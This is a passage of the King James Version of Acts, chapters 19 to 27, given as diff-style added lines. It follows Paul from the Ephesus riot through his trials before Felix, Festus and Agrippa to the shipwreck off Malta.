+leaped on them, and overcame them, and prevailed against them, so that +they fled out of that house naked and wounded. + +19:17 And this was known to all the Jews and Greeks also dwelling at +Ephesus; and fear fell on them all, and the name of the Lord Jesus was +magnified. + +19:18 And many that believed came, and confessed, and shewed their +deeds. + +19:19 Many of them also which used curious arts brought their books +together, and burned them before all men: and they counted the price +of them, and found it fifty thousand pieces of silver. + +19:20 So mightily grew the word of God and prevailed. + +19:21 After these things were ended, Paul purposed in the spirit, when +he had passed through Macedonia and Achaia, to go to Jerusalem, +saying, After I have been there, I must also see Rome. + +19:22 So he sent into Macedonia two of them that ministered unto him, +Timotheus and Erastus; but he himself stayed in Asia for a season. + +19:23 And the same time there arose no small stir about that way. + +19:24 For a certain man named Demetrius, a silversmith, which made +silver shrines for Diana, brought no small gain unto the craftsmen; +19:25 Whom he called together with the workmen of like occupation, and +said, Sirs, ye know that by this craft we have our wealth. + +19:26 Moreover ye see and hear, that not alone at Ephesus, but almost +throughout all Asia, this Paul hath persuaded and turned away much +people, saying that they be no gods, which are made with hands: 19:27 +So that not only this our craft is in danger to be set at nought; but +also that the temple of the great goddess Diana should be despised, +and her magnificence should be destroyed, whom all Asia and the world +worshippeth. + +19:28 And when they heard these sayings, they were full of wrath, and +cried out, saying, Great is Diana of the Ephesians. + +19:29 And the whole city was filled with confusion: and having caught +Gaius and Aristarchus, men of Macedonia, Paul's companions in travel, +they rushed with one accord into the theatre. + +19:30 And when Paul would have entered in unto the people, the +disciples suffered him not. + +19:31 And certain of the chief of Asia, which were his friends, sent +unto him, desiring him that he would not adventure himself into the +theatre. + +19:32 Some therefore cried one thing, and some another: for the +assembly was confused: and the more part knew not wherefore they were +come together. + +19:33 And they drew Alexander out of the multitude, the Jews putting +him forward. And Alexander beckoned with the hand, and would have made +his defence unto the people. + +19:34 But when they knew that he was a Jew, all with one voice about +the space of two hours cried out, Great is Diana of the Ephesians. + +19:35 And when the townclerk had appeased the people, he said, Ye men +of Ephesus, what man is there that knoweth not how that the city of +the Ephesians is a worshipper of the great goddess Diana, and of the +image which fell down from Jupiter? 19:36 Seeing then that these +things cannot be spoken against, ye ought to be quiet, and to do +nothing rashly. + +19:37 For ye have brought hither these men, which are neither robbers +of churches, nor yet blasphemers of your goddess. + +19:38 Wherefore if Demetrius, and the craftsmen which are with him, +have a matter against any man, the law is open, and there are +deputies: let them implead one another. + +19:39 But if ye enquire any thing concerning other matters, it shall +be determined in a lawful assembly. + +19:40 For we are in danger to be called in question for this day's +uproar, there being no cause whereby we may give an account of this +concourse. + +19:41 And when he had thus spoken, he dismissed the assembly. + +20:1 And after the uproar was ceased, Paul called unto him the +disciples, and embraced them, and departed for to go into Macedonia. + +20:2 And when he had gone over those parts, and had given them much +exhortation, he came into Greece, 20:3 And there abode three months. +And when the Jews laid wait for him, as he was about to sail into +Syria, he purposed to return through Macedonia. + +20:4 And there accompanied him into Asia Sopater of Berea; and of the +Thessalonians, Aristarchus and Secundus; and Gaius of Derbe, and +Timotheus; and of Asia, Tychicus and Trophimus. + +20:5 These going before tarried for us at Troas. + +20:6 And we sailed away from Philippi after the days of unleavened +bread, and came unto them to Troas in five days; where we abode seven +days. + +20:7 And upon the first day of the week, when the disciples came +together to break bread, Paul preached unto them, ready to depart on +the morrow; and continued his speech until midnight. + +20:8 And there were many lights in the upper chamber, where they were +gathered together. + +20:9 And there sat in a window a certain young man named Eutychus, +being fallen into a deep sleep: and as Paul was long preaching, he +sunk down with sleep, and fell down from the third loft, and was taken +up dead. + +20:10 And Paul went down, and fell on him, and embracing him said, +Trouble not yourselves; for his life is in him. + +20:11 When he therefore was come up again, and had broken bread, and +eaten, and talked a long while, even till break of day, so he +departed. + +20:12 And they brought the young man alive, and were not a little +comforted. + +20:13 And we went before to ship, and sailed unto Assos, there +intending to take in Paul: for so had he appointed, minding himself to +go afoot. + +20:14 And when he met with us at Assos, we took him in, and came to +Mitylene. + +20:15 And we sailed thence, and came the next day over against Chios; +and the next day we arrived at Samos, and tarried at Trogyllium; and +the next day we came to Miletus. + +20:16 For Paul had determined to sail by Ephesus, because he would not +spend the time in Asia: for he hasted, if it were possible for him, to +be at Jerusalem the day of Pentecost. + +20:17 And from Miletus he sent to Ephesus, and called the elders of +the church. + +20:18 And when they were come to him, he said unto them, Ye know, from +the first day that I came into Asia, after what manner I have been +with you at all seasons, 20:19 Serving the LORD with all humility of +mind, and with many tears, and temptations, which befell me by the +lying in wait of the Jews: 20:20 And how I kept back nothing that was +profitable unto you, but have shewed you, and have taught you +publickly, and from house to house, 20:21 Testifying both to the Jews, +and also to the Greeks, repentance toward God, and faith toward our +Lord Jesus Christ. + +20:22 And now, behold, I go bound in the spirit unto Jerusalem, not +knowing the things that shall befall me there: 20:23 Save that the +Holy Ghost witnesseth in every city, saying that bonds and afflictions +abide me. + +20:24 But none of these things move me, neither count I my life dear +unto myself, so that I might finish my course with joy, and the +ministry, which I have received of the Lord Jesus, to testify the +gospel of the grace of God. + +20:25 And now, behold, I know that ye all, among whom I have gone +preaching the kingdom of God, shall see my face no more. + +20:26 Wherefore I take you to record this day, that I am pure from the +blood of all men. + +20:27 For I have not shunned to declare unto you all the counsel of +God. + +20:28 Take heed therefore unto yourselves, and to all the flock, over +the which the Holy Ghost hath made you overseers, to feed the church +of God, which he hath purchased with his own blood. + +20:29 For I know this, that after my departing shall grievous wolves +enter in among you, not sparing the flock. + +20:30 Also of your own selves shall men arise, speaking perverse +things, to draw away disciples after them. + +20:31 Therefore watch, and remember, that by the space of three years +I ceased not to warn every one night and day with tears. + +20:32 And now, brethren, I commend you to God, and to the word of his +grace, which is able to build you up, and to give you an inheritance +among all them which are sanctified. + +20:33 I have coveted no man's silver, or gold, or apparel. + +20:34 Yea, ye yourselves know, that these hands have ministered unto +my necessities, and to them that were with me. + +20:35 I have shewed you all things, how that so labouring ye ought to +support the weak, and to remember the words of the Lord Jesus, how he +said, It is more blessed to give than to receive. + +20:36 And when he had thus spoken, he kneeled down, and prayed with +them all. + +20:37 And they all wept sore, and fell on Paul's neck, and kissed him, +20:38 Sorrowing most of all for the words which he spake, that they +should see his face no more. And they accompanied him unto the ship. + +21:1 And it came to pass, that after we were gotten from them, and had +launched, we came with a straight course unto Coos, and the day +following unto Rhodes, and from thence unto Patara: 21:2 And finding a +ship sailing over unto Phenicia, we went aboard, and set forth. + +21:3 Now when we had discovered Cyprus, we left it on the left hand, +and sailed into Syria, and landed at Tyre: for there the ship was to +unlade her burden. + +21:4 And finding disciples, we tarried there seven days: who said to +Paul through the Spirit, that he should not go up to Jerusalem. + +21:5 And when we had accomplished those days, we departed and went our +way; and they all brought us on our way, with wives and children, till +we were out of the city: and we kneeled down on the shore, and prayed. + +21:6 And when we had taken our leave one of another, we took ship; and +they returned home again. + +21:7 And when we had finished our course from Tyre, we came to +Ptolemais, and saluted the brethren, and abode with them one day. + +21:8 And the next day we that were of Paul's company departed, and +came unto Caesarea: and we entered into the house of Philip the +evangelist, which was one of the seven; and abode with him. + +21:9 And the same man had four daughters, virgins, which did prophesy. + +21:10 And as we tarried there many days, there came down from Judaea a +certain prophet, named Agabus. + +21:11 And when he was come unto us, he took Paul's girdle, and bound +his own hands and feet, and said, Thus saith the Holy Ghost, So shall +the Jews at Jerusalem bind the man that owneth this girdle, and shall +deliver him into the hands of the Gentiles. + +21:12 And when we heard these things, both we, and they of that place, +besought him not to go up to Jerusalem. + +21:13 Then Paul answered, What mean ye to weep and to break mine +heart? for I am ready not to be bound only, but also to die at +Jerusalem for the name of the Lord Jesus. + +21:14 And when he would not be persuaded, we ceased, saying, The will +of the Lord be done. + +21:15 And after those days we took up our carriages, and went up to +Jerusalem. + +21:16 There went with us also certain of the disciples of Caesarea, +and brought with them one Mnason of Cyprus, an old disciple, with whom +we should lodge. + +21:17 And when we were come to Jerusalem, the brethren received us +gladly. + +21:18 And the day following Paul went in with us unto James; and all +the elders were present. + +21:19 And when he had saluted them, he declared particularly what +things God had wrought among the Gentiles by his ministry. + +21:20 And when they heard it, they glorified the Lord, and said unto +him, Thou seest, brother, how many thousands of Jews there are which +believe; and they are all zealous of the law: 21:21 And they are +informed of thee, that thou teachest all the Jews which are among the +Gentiles to forsake Moses, saying that they ought not to circumcise +their children, neither to walk after the customs. + +21:22 What is it therefore? the multitude must needs come together: +for they will hear that thou art come. + +21:23 Do therefore this that we say to thee: We have four men which +have a vow on them; 21:24 Them take, and purify thyself with them, and +be at charges with them, that they may shave their heads: and all may +know that those things, whereof they were informed concerning thee, +are nothing; but that thou thyself also walkest orderly, and keepest +the law. + +21:25 As touching the Gentiles which believe, we have written and +concluded that they observe no such thing, save only that they keep +themselves from things offered to idols, and from blood, and from +strangled, and from fornication. + +21:26 Then Paul took the men, and the next day purifying himself with +them entered into the temple, to signify the accomplishment of the +days of purification, until that an offering should be offered for +every one of them. + +21:27 And when the seven days were almost ended, the Jews which were +of Asia, when they saw him in the temple, stirred up all the people, +and laid hands on him, 21:28 Crying out, Men of Israel, help: This is +the man, that teacheth all men every where against the people, and the +law, and this place: and further brought Greeks also into the temple, +and hath polluted this holy place. + +21:29 (For they had seen before with him in the city Trophimus an +Ephesian, whom they supposed that Paul had brought into the temple.) +21:30 And all the city was moved, and the people ran together: and +they took Paul, and drew him out of the temple: and forthwith the +doors were shut. + +21:31 And as they went about to kill him, tidings came unto the chief +captain of the band, that all Jerusalem was in an uproar. + +21:32 Who immediately took soldiers and centurions, and ran down unto +them: and when they saw the chief captain and the soldiers, they left +beating of Paul. + +21:33 Then the chief captain came near, and took him, and commanded +him to be bound with two chains; and demanded who he was, and what he +had done. + +21:34 And some cried one thing, some another, among the multitude: and +when he could not know the certainty for the tumult, he commanded him +to be carried into the castle. + +21:35 And when he came upon the stairs, so it was, that he was borne +of the soldiers for the violence of the people. + +21:36 For the multitude of the people followed after, crying, Away +with him. + +21:37 And as Paul was to be led into the castle, he said unto the +chief captain, May I speak unto thee? Who said, Canst thou speak +Greek? 21:38 Art not thou that Egyptian, which before these days +madest an uproar, and leddest out into the wilderness four thousand +men that were murderers? 21:39 But Paul said, I am a man which am a +Jew of Tarsus, a city in Cilicia, a citizen of no mean city: and, I +beseech thee, suffer me to speak unto the people. + +21:40 And when he had given him licence, Paul stood on the stairs, and +beckoned with the hand unto the people. And when there was made a +great silence, he spake unto them in the Hebrew tongue, saying, 22:1 +Men, brethren, and fathers, hear ye my defence which I make now unto +you. + +22:2 (And when they heard that he spake in the Hebrew tongue to them, +they kept the more silence: and he saith,) 22:3 I am verily a man +which am a Jew, born in Tarsus, a city in Cilicia, yet brought up in +this city at the feet of Gamaliel, and taught according to the perfect +manner of the law of the fathers, and was zealous toward God, as ye +all are this day. + +22:4 And I persecuted this way unto the death, binding and delivering +into prisons both men and women. + +22:5 As also the high priest doth bear me witness, and all the estate +of the elders: from whom also I received letters unto the brethren, +and went to Damascus, to bring them which were there bound unto +Jerusalem, for to be punished. + +22:6 And it came to pass, that, as I made my journey, and was come +nigh unto Damascus about noon, suddenly there shone from heaven a +great light round about me. + +22:7 And I fell unto the ground, and heard a voice saying unto me, +Saul, Saul, why persecutest thou me? 22:8 And I answered, Who art +thou, Lord? And he said unto me, I am Jesus of Nazareth, whom thou +persecutest. + +22:9 And they that were with me saw indeed the light, and were afraid; +but they heard not the voice of him that spake to me. + +22:10 And I said, What shall I do, LORD? And the Lord said unto me, +Arise, and go into Damascus; and there it shall be told thee of all +things which are appointed for thee to do. + +22:11 And when I could not see for the glory of that light, being led +by the hand of them that were with me, I came into Damascus. + +22:12 And one Ananias, a devout man according to the law, having a +good report of all the Jews which dwelt there, 22:13 Came unto me, and +stood, and said unto me, Brother Saul, receive thy sight. And the same +hour I looked up upon him. + +22:14 And he said, The God of our fathers hath chosen thee, that thou +shouldest know his will, and see that Just One, and shouldest hear the +voice of his mouth. + +22:15 For thou shalt be his witness unto all men of what thou hast +seen and heard. + +22:16 And now why tarriest thou? arise, and be baptized, and wash away +thy sins, calling on the name of the Lord. + +22:17 And it came to pass, that, when I was come again to Jerusalem, +even while I prayed in the temple, I was in a trance; 22:18 And saw +him saying unto me, Make haste, and get thee quickly out of Jerusalem: +for they will not receive thy testimony concerning me. + +22:19 And I said, Lord, they know that I imprisoned and beat in every +synagogue them that believed on thee: 22:20 And when the blood of thy +martyr Stephen was shed, I also was standing by, and consenting unto +his death, and kept the raiment of them that slew him. + +22:21 And he said unto me, Depart: for I will send thee far hence unto +the Gentiles. + +22:22 And they gave him audience unto this word, and then lifted up +their voices, and said, Away with such a fellow from the earth: for it +is not fit that he should live. + +22:23 And as they cried out, and cast off their clothes, and threw +dust into the air, 22:24 The chief captain commanded him to be brought +into the castle, and bade that he should be examined by scourging; +that he might know wherefore they cried so against him. + +22:25 And as they bound him with thongs, Paul said unto the centurion +that stood by, Is it lawful for you to scourge a man that is a Roman, +and uncondemned? 22:26 When the centurion heard that, he went and +told the chief captain, saying, Take heed what thou doest: for this +man is a Roman. + +22:27 Then the chief captain came, and said unto him, Tell me, art +thou a Roman? He said, Yea. + +22:28 And the chief captain answered, With a great sum obtained I this +freedom. And Paul said, But I was free born. + +22:29 Then straightway they departed from him which should have +examined him: and the chief captain also was afraid, after he knew +that he was a Roman, and because he had bound him. + +22:30 On the morrow, because he would have known the certainty +wherefore he was accused of the Jews, he loosed him from his bands, +and commanded the chief priests and all their council to appear, and +brought Paul down, and set him before them. + +23:1 And Paul, earnestly beholding the council, said, Men and +brethren, I have lived in all good conscience before God until this +day. + +23:2 And the high priest Ananias commanded them that stood by him to +smite him on the mouth. + +23:3 Then said Paul unto him, God shall smite thee, thou whited wall: +for sittest thou to judge me after the law, and commandest me to be +smitten contrary to the law? 23:4 And they that stood by said, +Revilest thou God's high priest? 23:5 Then said Paul, I wist not, +brethren, that he was the high priest: for it is written, Thou shalt +not speak evil of the ruler of thy people. + +23:6 But when Paul perceived that the one part were Sadducees, and the +other Pharisees, he cried out in the council, Men and brethren, I am a +Pharisee, the son of a Pharisee: of the hope and resurrection of the +dead I am called in question. + +23:7 And when he had so said, there arose a dissension between the +Pharisees and the Sadducees: and the multitude was divided. + +23:8 For the Sadducees say that there is no resurrection, neither +angel, nor spirit: but the Pharisees confess both. + +23:9 And there arose a great cry: and the scribes that were of the +Pharisees' part arose, and strove, saying, We find no evil in this +man: but if a spirit or an angel hath spoken to him, let us not fight +against God. + +23:10 And when there arose a great dissension, the chief captain, +fearing lest Paul should have been pulled in pieces of them, commanded +the soldiers to go down, and to take him by force from among them, and +to bring him into the castle. + +23:11 And the night following the Lord stood by him, and said, Be of +good cheer, Paul: for as thou hast testified of me in Jerusalem, so +must thou bear witness also at Rome. + +23:12 And when it was day, certain of the Jews banded together, and +bound themselves under a curse, saying that they would neither eat nor +drink till they had killed Paul. + +23:13 And they were more than forty which had made this conspiracy. + +23:14 And they came to the chief priests and elders, and said, We have +bound ourselves under a great curse, that we will eat nothing until we +have slain Paul. + +23:15 Now therefore ye with the council signify to the chief captain +that he bring him down unto you to morrow, as though ye would enquire +something more perfectly concerning him: and we, or ever he come near, +are ready to kill him. + +23:16 And when Paul's sister's son heard of their lying in wait, he +went and entered into the castle, and told Paul. + +23:17 Then Paul called one of the centurions unto him, and said, Bring +this young man unto the chief captain: for he hath a certain thing to +tell him. + +23:18 So he took him, and brought him to the chief captain, and said, +Paul the prisoner called me unto him, and prayed me to bring this +young man unto thee, who hath something to say unto thee. + +23:19 Then the chief captain took him by the hand, and went with him +aside privately, and asked him, What is that thou hast to tell me? +23:20 And he said, The Jews have agreed to desire thee that thou +wouldest bring down Paul to morrow into the council, as though they +would enquire somewhat of him more perfectly. + +23:21 But do not thou yield unto them: for there lie in wait for him +of them more than forty men, which have bound themselves with an oath, +that they will neither eat nor drink till they have killed him: and +now are they ready, looking for a promise from thee. + +23:22 So the chief captain then let the young man depart, and charged +him, See thou tell no man that thou hast shewed these things to me. + +23:23 And he called unto him two centurions, saying, Make ready two +hundred soldiers to go to Caesarea, and horsemen threescore and ten, +and spearmen two hundred, at the third hour of the night; 23:24 And +provide them beasts, that they may set Paul on, and bring him safe +unto Felix the governor. + +23:25 And he wrote a letter after this manner: 23:26 Claudius Lysias +unto the most excellent governor Felix sendeth greeting. + +23:27 This man was taken of the Jews, and should have been killed of +them: then came I with an army, and rescued him, having understood +that he was a Roman. + +23:28 And when I would have known the cause wherefore they accused +him, I brought him forth into their council: 23:29 Whom I perceived to +be accused of questions of their law, but to have nothing laid to his +charge worthy of death or of bonds. + +23:30 And when it was told me how that the Jews laid wait for the man, +I sent straightway to thee, and gave commandment to his accusers also +to say before thee what they had against him. Farewell. + +23:31 Then the soldiers, as it was commanded them, took Paul, and +brought him by night to Antipatris. + +23:32 On the morrow they left the horsemen to go with him, and +returned to the castle: 23:33 Who, when they came to Caesarea and +delivered the epistle to the governor, presented Paul also before him. + +23:34 And when the governor had read the letter, he asked of what +province he was. And when he understood that he was of Cilicia; 23:35 +I will hear thee, said he, when thine accusers are also come. And he +commanded him to be kept in Herod's judgment hall. + +24:1 And after five days Ananias the high priest descended with the +elders, and with a certain orator named Tertullus, who informed the +governor against Paul. + +24:2 And when he was called forth, Tertullus began to accuse him, +saying, Seeing that by thee we enjoy great quietness, and that very +worthy deeds are done unto this nation by thy providence, 24:3 We +accept it always, and in all places, most noble Felix, with all +thankfulness. + +24:4 Notwithstanding, that I be not further tedious unto thee, I pray +thee that thou wouldest hear us of thy clemency a few words. + +24:5 For we have found this man a pestilent fellow, and a mover of +sedition among all the Jews throughout the world, and a ringleader of +the sect of the Nazarenes: 24:6 Who also hath gone about to profane +the temple: whom we took, and would have judged according to our law. + +24:7 But the chief captain Lysias came upon us, and with great +violence took him away out of our hands, 24:8 Commanding his accusers +to come unto thee: by examining of whom thyself mayest take knowledge +of all these things, whereof we accuse him. + +24:9 And the Jews also assented, saying that these things were so. + +24:10 Then Paul, after that the governor had beckoned unto him to +speak, answered, Forasmuch as I know that thou hast been of many years +a judge unto this nation, I do the more cheerfully answer for myself: +24:11 Because that thou mayest understand, that there are yet but +twelve days since I went up to Jerusalem for to worship. + +24:12 And they neither found me in the temple disputing with any man, +neither raising up the people, neither in the synagogues, nor in the +city: 24:13 Neither can they prove the things whereof they now accuse +me. + +24:14 But this I confess unto thee, that after the way which they call +heresy, so worship I the God of my fathers, believing all things which +are written in the law and in the prophets: 24:15 And have hope toward +God, which they themselves also allow, that there shall be a +resurrection of the dead, both of the just and unjust. + +24:16 And herein do I exercise myself, to have always a conscience +void to offence toward God, and toward men. + +24:17 Now after many years I came to bring alms to my nation, and +offerings. + +24:18 Whereupon certain Jews from Asia found me purified in the +temple, neither with multitude, nor with tumult. + +24:19 Who ought to have been here before thee, and object, if they had +ought against me. + +24:20 Or else let these same here say, if they have found any evil +doing in me, while I stood before the council, 24:21 Except it be for +this one voice, that I cried standing among them, Touching the +resurrection of the dead I am called in question by you this day. + +24:22 And when Felix heard these things, having more perfect knowledge +of that way, he deferred them, and said, When Lysias the chief captain +shall come down, I will know the uttermost of your matter. + +24:23 And he commanded a centurion to keep Paul, and to let him have +liberty, and that he should forbid none of his acquaintance to +minister or come unto him. + +24:24 And after certain days, when Felix came with his wife Drusilla, +which was a Jewess, he sent for Paul, and heard him concerning the +faith in Christ. + +24:25 And as he reasoned of righteousness, temperance, and judgment to +come, Felix trembled, and answered, Go thy way for this time; when I +have a convenient season, I will call for thee. + +24:26 He hoped also that money should have been given him of Paul, +that he might loose him: wherefore he sent for him the oftener, and +communed with him. + +24:27 But after two years Porcius Festus came into Felix' room: and +Felix, willing to shew the Jews a pleasure, left Paul bound. + +25:1 Now when Festus was come into the province, after three days he +ascended from Caesarea to Jerusalem. + +25:2 Then the high priest and the chief of the Jews informed him +against Paul, and besought him, 25:3 And desired favour against him, +that he would send for him to Jerusalem, laying wait in the way to +kill him. + +25:4 But Festus answered, that Paul should be kept at Caesarea, and +that he himself would depart shortly thither. + +25:5 Let them therefore, said he, which among you are able, go down +with me, and accuse this man, if there be any wickedness in him. + +25:6 And when he had tarried among them more than ten days, he went +down unto Caesarea; and the next day sitting on the judgment seat +commanded Paul to be brought. + +25:7 And when he was come, the Jews which came down from Jerusalem +stood round about, and laid many and grievous complaints against Paul, +which they could not prove. + +25:8 While he answered for himself, Neither against the law of the +Jews, neither against the temple, nor yet against Caesar, have I +offended any thing at all. + +25:9 But Festus, willing to do the Jews a pleasure, answered Paul, and +said, Wilt thou go up to Jerusalem, and there be judged of these +things before me? 25:10 Then said Paul, I stand at Caesar's judgment +seat, where I ought to be judged: to the Jews have I done no wrong, as +thou very well knowest. + +25:11 For if I be an offender, or have committed any thing worthy of +death, I refuse not to die: but if there be none of these things +whereof these accuse me, no man may deliver me unto them. I appeal +unto Caesar. + +25:12 Then Festus, when he had conferred with the council, answered, +Hast thou appealed unto Caesar? unto Caesar shalt thou go. + +25:13 And after certain days king Agrippa and Bernice came unto +Caesarea to salute Festus. + +25:14 And when they had been there many days, Festus declared Paul's +cause unto the king, saying, There is a certain man left in bonds by +Felix: 25:15 About whom, when I was at Jerusalem, the chief priests +and the elders of the Jews informed me, desiring to have judgment +against him. + +25:16 To whom I answered, It is not the manner of the Romans to +deliver any man to die, before that he which is accused have the +accusers face to face, and have licence to answer for himself +concerning the crime laid against him. + +25:17 Therefore, when they were come hither, without any delay on the +morrow I sat on the judgment seat, and commanded the man to be brought +forth. + +25:18 Against whom when the accusers stood up, they brought none +accusation of such things as I supposed: 25:19 But had certain +questions against him of their own superstition, and of one Jesus, +which was dead, whom Paul affirmed to be alive. + +25:20 And because I doubted of such manner of questions, I asked him +whether he would go to Jerusalem, and there be judged of these +matters. + +25:21 But when Paul had appealed to be reserved unto the hearing of +Augustus, I commanded him to be kept till I might send him to Caesar. + +25:22 Then Agrippa said unto Festus, I would also hear the man myself. +To morrow, said he, thou shalt hear him. + +25:23 And on the morrow, when Agrippa was come, and Bernice, with +great pomp, and was entered into the place of hearing, with the chief +captains, and principal men of the city, at Festus' commandment Paul +was brought forth. + +25:24 And Festus said, King Agrippa, and all men which are here +present with us, ye see this man, about whom all the multitude of the +Jews have dealt with me, both at Jerusalem, and also here, crying that +he ought not to live any longer. + +25:25 But when I found that he had committed nothing worthy of death, +and that he himself hath appealed to Augustus, I have determined to +send him. + +25:26 Of whom I have no certain thing to write unto my lord. Wherefore +I have brought him forth before you, and specially before thee, O king +Agrippa, that, after examination had, I might have somewhat to write. + +25:27 For it seemeth to me unreasonable to send a prisoner, and not +withal to signify the crimes laid against him. + +26:1 Then Agrippa said unto Paul, Thou art permitted to speak for +thyself. + +Then Paul stretched forth the hand, and answered for himself: 26:2 I +think myself happy, king Agrippa, because I shall answer for myself +this day before thee touching all the things whereof I am accused of +the Jews: 26:3 Especially because I know thee to be expert in all +customs and questions which are among the Jews: wherefore I beseech +thee to hear me patiently. + +26:4 My manner of life from my youth, which was at the first among +mine own nation at Jerusalem, know all the Jews; 26:5 Which knew me +from the beginning, if they would testify, that after the most +straitest sect of our religion I lived a Pharisee. + +26:6 And now I stand and am judged for the hope of the promise made of +God, unto our fathers: 26:7 Unto which promise our twelve tribes, +instantly serving God day and night, hope to come. For which hope's +sake, king Agrippa, I am accused of the Jews. + +26:8 Why should it be thought a thing incredible with you, that God +should raise the dead? 26:9 I verily thought with myself, that I +ought to do many things contrary to the name of Jesus of Nazareth. + +26:10 Which thing I also did in Jerusalem: and many of the saints did +I shut up in prison, having received authority from the chief priests; +and when they were put to death, I gave my voice against them. + +26:11 And I punished them oft in every synagogue, and compelled them +to blaspheme; and being exceedingly mad against them, I persecuted +them even unto strange cities. + +26:12 Whereupon as I went to Damascus with authority and commission +from the chief priests, 26:13 At midday, O king, I saw in the way a +light from heaven, above the brightness of the sun, shining round +about me and them which journeyed with me. + +26:14 And when we were all fallen to the earth, I heard a voice +speaking unto me, and saying in the Hebrew tongue, Saul, Saul, why +persecutest thou me? it is hard for thee to kick against the pricks. + +26:15 And I said, Who art thou, Lord? And he said, I am Jesus whom +thou persecutest. + +26:16 But rise, and stand upon thy feet: for I have appeared unto thee +for this purpose, to make thee a minister and a witness both of these +things which thou hast seen, and of those things in the which I will +appear unto thee; 26:17 Delivering thee from the people, and from the +Gentiles, unto whom now I send thee, 26:18 To open their eyes, and to +turn them from darkness to light, and from the power of Satan unto +God, that they may receive forgiveness of sins, and inheritance among +them which are sanctified by faith that is in me. + +26:19 Whereupon, O king Agrippa, I was not disobedient unto the +heavenly vision: 26:20 But shewed first unto them of Damascus, and at +Jerusalem, and throughout all the coasts of Judaea, and then to the +Gentiles, that they should repent and turn to God, and do works meet +for repentance. + +26:21 For these causes the Jews caught me in the temple, and went +about to kill me. + +26:22 Having therefore obtained help of God, I continue unto this day, +witnessing both to small and great, saying none other things than +those which the prophets and Moses did say should come: 26:23 That +Christ should suffer, and that he should be the first that should rise +from the dead, and should shew light unto the people, and to the +Gentiles. + +26:24 And as he thus spake for himself, Festus said with a loud voice, +Paul, thou art beside thyself; much learning doth make thee mad. + +26:25 But he said, I am not mad, most noble Festus; but speak forth +the words of truth and soberness. + +26:26 For the king knoweth of these things, before whom also I speak +freely: for I am persuaded that none of these things are hidden from +him; for this thing was not done in a corner. + +26:27 King Agrippa, believest thou the prophets? I know that thou +believest. + +26:28 Then Agrippa said unto Paul, Almost thou persuadest me to be a +Christian. + +26:29 And Paul said, I would to God, that not only thou, but also all +that hear me this day, were both almost, and altogether such as I am, +except these bonds. + +26:30 And when he had thus spoken, the king rose up, and the governor, +and Bernice, and they that sat with them: 26:31 And when they were +gone aside, they talked between themselves, saying, This man doeth +nothing worthy of death or of bonds. + +26:32 Then said Agrippa unto Festus, This man might have been set at +liberty, if he had not appealed unto Caesar. + +27:1 And when it was determined that we should sail into Italy, they +delivered Paul and certain other prisoners unto one named Julius, a +centurion of Augustus' band. + +27:2 And entering into a ship of Adramyttium, we launched, meaning to +sail by the coasts of Asia; one Aristarchus, a Macedonian of +Thessalonica, being with us. + +27:3 And the next day we touched at Sidon. And Julius courteously +entreated Paul, and gave him liberty to go unto his friends to refresh +himself. + +27:4 And when we had launched from thence, we sailed under Cyprus, +because the winds were contrary. + +27:5 And when we had sailed over the sea of Cilicia and Pamphylia, we +came to Myra, a city of Lycia. + +27:6 And there the centurion found a ship of Alexandria sailing into +Italy; and he put us therein. + +27:7 And when we had sailed slowly many days, and scarce were come +over against Cnidus, the wind not suffering us, we sailed under Crete, +over against Salmone; 27:8 And, hardly passing it, came unto a place +which is called The fair havens; nigh whereunto was the city of Lasea. + +27:9 Now when much time was spent, and when sailing was now dangerous, +because the fast was now already past, Paul admonished them, 27:10 And +said unto them, Sirs, I perceive that this voyage will be with hurt +and much damage, not only of the lading and ship, but also of our +lives. + +27:11 Nevertheless the centurion believed the master and the owner of +the ship, more than those things which were spoken by Paul. + +27:12 And because the haven was not commodious to winter in, the more +part advised to depart thence also, if by any means they might attain +to Phenice, and there to winter; which is an haven of Crete, and lieth +toward the south west and north west. + +27:13 And when the south wind blew softly, supposing that they had +obtained their purpose, loosing thence, they sailed close by Crete. + +27:14 But not long after there arose against it a tempestuous wind, +called Euroclydon. + +27:15 And when the ship was caught, and could not bear up into the +wind, we let her drive. + +27:16 And running under a certain island which is called Clauda, we +had much work to come by the boat: 27:17 Which when they had taken up, +they used helps, undergirding the ship; and, fearing lest they should +fall into the quicksands, strake sail, and so were driven. + +27:18 And we being exceedingly tossed with a tempest, the next day +they lightened the ship; 27:19 And the third day we cast out with our +own hands the tackling of the ship. + +27:20 And when neither sun nor stars in many days appeared, and no +small tempest lay on us, all hope that we should be saved was then +taken away. + +27:21 But after long abstinence Paul stood forth in the midst of them, +and said, Sirs, ye should have hearkened unto me, and not have loosed +from Crete, and to have gained this harm and loss. + +27:22 And now I exhort you to be of good cheer: for there shall be no +loss of any man's life among you, but of the ship. + +27:23 For there stood by me this night the angel of God, whose I am, +and whom I serve, 27:24 Saying, Fear not, Paul; thou must be brought +before Caesar: and, lo, God hath given thee all them that sail with +thee. + +27:25 Wherefore, sirs, be of good cheer: for I believe God, that it +shall be even as it was told me. + +27:26 Howbeit we must be cast upon a certain island. + +27:27 But when the fourteenth night was come, as we were driven up and +down in Adria, about midnight the shipmen deemed that they drew near +to some country; 27:28 And sounded, and found it twenty fathoms: and +when they had gone a little further, they sounded again, and found it +fifteen fathoms. + +27:29 Then fearing lest we should have fallen upon rocks, they cast +four anchors out of the stern, and wished for the day. + +27:30 And as the shipmen were about to flee out of the ship, when they +had let down the boat into the sea, under colour as though they would +have cast anchors out of the foreship, 27:31 Paul said to the +centurion and to the soldiers, Except these abide in the ship, ye +cannot be saved. + +27:32 Then the soldiers cut off the ropes of the boat, and let her +fall off. + +27:33 And while the day was coming on, Paul besought them all to take +meat, saying, This day is the fourteenth day that ye have tarried and +continued fasting, having taken nothing. + +27:34 Wherefore I pray you to take some meat: for this is for your +health: for there shall not an hair fall from the head of any of you. + +27:35 And when he had thus spoken, he took bread, and gave thanks to +God in presence of them all: and when he had broken it, he began to +eat. + +27:36 Then were they all of good cheer, and they also took some meat. + +27:37 And we were in all in the ship two hundred threescore and +sixteen souls. + +27:38 And when they had eaten enough, they lightened the ship, and +cast out the wheat into the sea. + +27:39 And when it was day, they knew not the land: but they discovered +a certain creek with a shore, into the which they were minded, if it +were possible, to thrust in the ship. + +27:40 And when they had taken up the anchors, they committed +themselves unto the sea, and loosed the rudder bands, and hoised up +the mainsail to the wind, and made toward shore. + +27:41 And falling into a place where two seas met, they ran the ship +aground; and the forepart stuck fast, and remained unmoveable, but the +hinder part was broken with the violence of the waves. + +27:42 And the soldiers' counsel was to kill the prisoners, lest any of +them should swim out, and escape. + +27:43 But the centurion, willing to save Paul, kept them from their +purpose; and commanded that they which could swim should cast +themselves first into the sea, and get to land: 27:44 